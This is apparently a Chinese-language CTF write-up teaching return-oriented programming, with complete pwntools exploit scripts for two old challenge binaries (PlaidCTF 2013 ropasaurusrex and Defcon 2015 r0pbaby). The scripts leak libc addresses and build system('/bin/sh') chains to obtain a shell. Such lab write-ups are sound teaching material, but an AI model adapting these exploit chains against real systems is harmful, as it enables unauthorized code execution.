PWN之ROP系列
基础ROP
32位 ROP
题目来源
PlaidCTF 2013: ropasaurusrex
检查
开了NX,所以用ROP。
看代码
简单的栈溢出。使用write
函数泄露一个libc函数的地址,进而泄露libc,计算system
函数地址和"/bin/sh"
字符串地址,然后构造system("/bin/sh")
去getshell。
exp
#!/usr/bin/env python2
from pwn import *
p = process('./ropasaurusrex')
elf = ELF('./ropasaurusrex')
libc = ELF('/lib32/libc.so.6')
#libc = ELF('./libc.so.6') this is not the local libc,so if in local debug ,must use the local libc
context.log_level = 'debug'
write_plt = elf.plt['write']
write_got = elf.got['write']
read_got = elf.got['read']
overflow_func = 0x80483F4
payload = 'a'*0x88 + 'a'*4 + p32(write_plt) + p32(overflow_func)+ p32(1) + p32(write_got) + p32(4)
p.sendline(payload)
write_addr = u32(p.recv())
libc_base = write_addr - libc.symbols['write']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + libc.search('/bin/sh').next()
payload2 = 'a'*0x88 + 'a'*4 + p32(system)+ p32(0xdeadbeef)+ p32(bin_sh)
p.sendline(payload2)
p.interactive()
p.close()
PS:
这里我遇到了 一个坑,就是本地调试的时候用了他给的libc,却又没有指定程序加载他给的libc,所以程序使用的我自己系统了的libc,而我使用他给的libc计算地址,两个libc版本不一样,当然地址就算不出来,所以,本地调试的时候一定要把libc统一,要么全部用他给的,要么全部用自己的。
64位ROP
题目来源
Defcon 2015 Qualifier:R0pbaby
0x01 题目检查
0x02 先运行一下
0x03 拖入IDA找找漏洞函数
可以看到memcpy没有检查长度。这里就会有栈溢出。
但是从前面的安全检查可以看出,开启了NX和PIE。所以我们就要使用ROP技术来绕过NX。从题目的提示也可以看出来。
所以,我们现在需要制造三个条件:1、system的地址 2、“/bin/sh”的地址 3、找到可用的gedget。
system的地址,我们可以通过程序直接得到,“/bin/sh”的地址可以从libc库中搜索,
0x04 查看libc版本及寻找相应的gadget
现在我们就万事具备,只欠东风了。
但是我们如果就这样直接开始变写exp的话,你会发现,最终是不能成功的。
经过一番调试,我发现程序中给的并不是真实的libc的基地址。所以我们需要自己计算。
0x05 编写exp
#!/usr/bin/env python2
from pwn import *
p = process("./r0pbaby")
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')
system_offset = elf.symbols['system']
context.log_level = 'debug'
bin_sh_offset = 0x0000000000181519
#popret_offset = 0x0000000000023a5f # pop rdi;ret;
popret_offset = 0x00000000000f94cb # pop rax;pop rdi;call rax;
# get system addr
p.recvuntil(': ')
p.sendline('2')
p.recvuntil('Enter symbol: ')
p.sendline('system')
p.recvuntil('Symbol system: ')
system_addr = long(p.recvuntil('
'),16)
libc_base = system_addr - system_offset
print 'libc_base_addr: %x' % libc_base
print 'system_addr: %x' % system_addr
# set up payload
bin_sh = libc_base + bin_sh_offset
pop_ret = libc_base + popret_offset
payload = 'a'*8
#payload += p64(pop_ret) + p64(bin_sh) + p64(system_addr)
payload += p64(pop_ret) + p64(system_addr) + p64(bin_sh)
# send payload
p.recvuntil(': ')
p.sendline('3')
p.recvuntil('(max 1024): ')
p.sendline(str(len(payload)))
p.sendline(payload)
p.interactive()
p.close()
这样就可以成功的getshell了。